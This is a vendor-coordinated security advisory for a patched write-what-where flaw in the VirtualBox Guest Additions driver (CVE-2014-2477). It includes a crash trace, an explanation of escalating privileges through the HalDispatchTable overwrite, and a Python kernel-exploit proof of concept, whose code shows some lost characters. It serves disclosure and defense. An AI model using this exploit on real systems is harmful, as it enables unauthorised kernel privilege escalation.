Title: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation Advisory ID: KL-001-2014-001 Publication Date: 07.15.2014 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt
Affected Vendor: Oracle Affected Product: VirtualBox Guest Additions Affected Versions: 4.3.8 - 4.3.10 Platform: Microsoft XP SP3 CWE Classification: CWE-123: Write-what-where Condition Impact: Arbitrary code execution Attack vector: IOCTL CVE ID: CVE-2014-2477
A vulnerability within VBoxGuest module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile.
A userland process can create a handle into the VBoxGuest device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x0022a040 the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classicaly known as a write-what-where vulnerability and has well known exploitation methods associated with it.
A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000.
STACK_TEXT: f824a9d4 805241e0 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b f824aa20 804e172b 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5 f824aa20 804eca3b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc f824aaf0 804ecaba ffa74248 f824ab3c f824ab30 nt!IopCompleteRequest+0x92 f824ab40 806f5c0e 00000000 00000000 f824ab58 nt!KiDeliverApc+0xb3 f824ab40 806f00b3 00000000 00000000 f824ab58 hal!HalpApcInterrupt2ndEntry+0x31 f824abcc 804e546c ffa74248 ffa74208 00000000 hal!KfLowerIrql+0x43 f824abec 804ecad4 ffa74248 811772d8 00000000 nt!KeInsertQueueApc+0x4b f824ac20 faa36123 811772d8 81297558 00000000 nt!IopfCompleteRequest+0x1d8 f824ac34 804e3807 0000008c 0000008c 806f0070 VBoxGuest+0x1123 f824ac44 80568191 ffa7429c 811772d8 ffa74208 nt!IopfCallDriver+0x31 f824ac58 805770ca 812971a8 ffa74208 811772d8 nt!IopSynchronousServiceTail+0x70 f824ad00 805795e3 00000058 00000000 00000000 nt!IopXxxControlFile+0x611 f824ad34 804de7ec 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a f824ad34 7c90e526 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8 0021fa54 7c90d28a 1d1adc9a 00000058 00000000 ntdll!KiIntSystemCall+0x6 0021fa58 1d1adc9a 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase.
ErrCode = 00000002 eax=0000008c ebx=ffa74208 ecx=00000023 edx=00000000 esi=811eabf0 edi=ffff0000 eip=804eca3b esp=f824aaac ebp=f824aaf0 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x92: 0008:804eca3b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
A write-what-where vulnerability can be leveraged to obtained escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process.
Mitigation and Remediation Recommendation
The vendor has patched this vulnerability. The patch information is here: http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc.
04.28.14 - KoreLogic contacts Oracle with vulnerability report and PoC. 04.29.14 - Oracle acknowledges receipt of vulnerability report and PoC. 05.02.14 - Oracle assigns tracking to this vulnerability report and states that it will be patched in the CPU cycle, with credit for the report given to KoreLogic. Oracle also states monthly updates will be provided. 05.22.14 - Oracle provides KoreLogic with status update indicating the vulnerability will be patched in an upcoming CPU and states that they will publicly acknowledge KoreLogic in the associated public bulletin. 06.11.14 - KoreLogic informs Oracle that 30 days have passed since vendor acknowledgement of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 06.11.14 - Oracle responds with CVE number, expected release date of 07.15.14 and public identifier (CVE number). 06.24.14 - Oracle provides status update. 07.02.14 - 45 business days have elapsed since vendor acknowledged vulnerability. 07.11.14 - Oracle provides expected CPU release time. 07.15.14 - Coordinated public release of vulnerability and vendor patch.
Proof of Concept
# KL-001-2014-001 : Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation # Oracle VirtualBox 4.3.8-4.3.10 # # Matt Bergin (KoreLogic/Smash the Stack) # thanks to bla #
from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle VirtualProtect = windll.kernel32.VirtualProtect INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
# thanks to offsec for the concept # I re-wrote the code as to not fully insult them def getBase(name=None): retArray = c_ulong1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None
handle = CreateFileA("\\\\.\\VBoxGuest",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) print "[+] Handle \\\\.\\VBoxGuest @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\xcc\xcc\xcc\xcc"35 WriteProcessMemory(-1, 0x1, "\x90"0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 140, byref(c_int(0))) #Overwrite Pointer kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable)) DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x22a040,0x1,140,HalDispatchTable-40,0) print "[+] HalDispatchTable+0x4 overwritten" CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) #Something bad happened exit(0)
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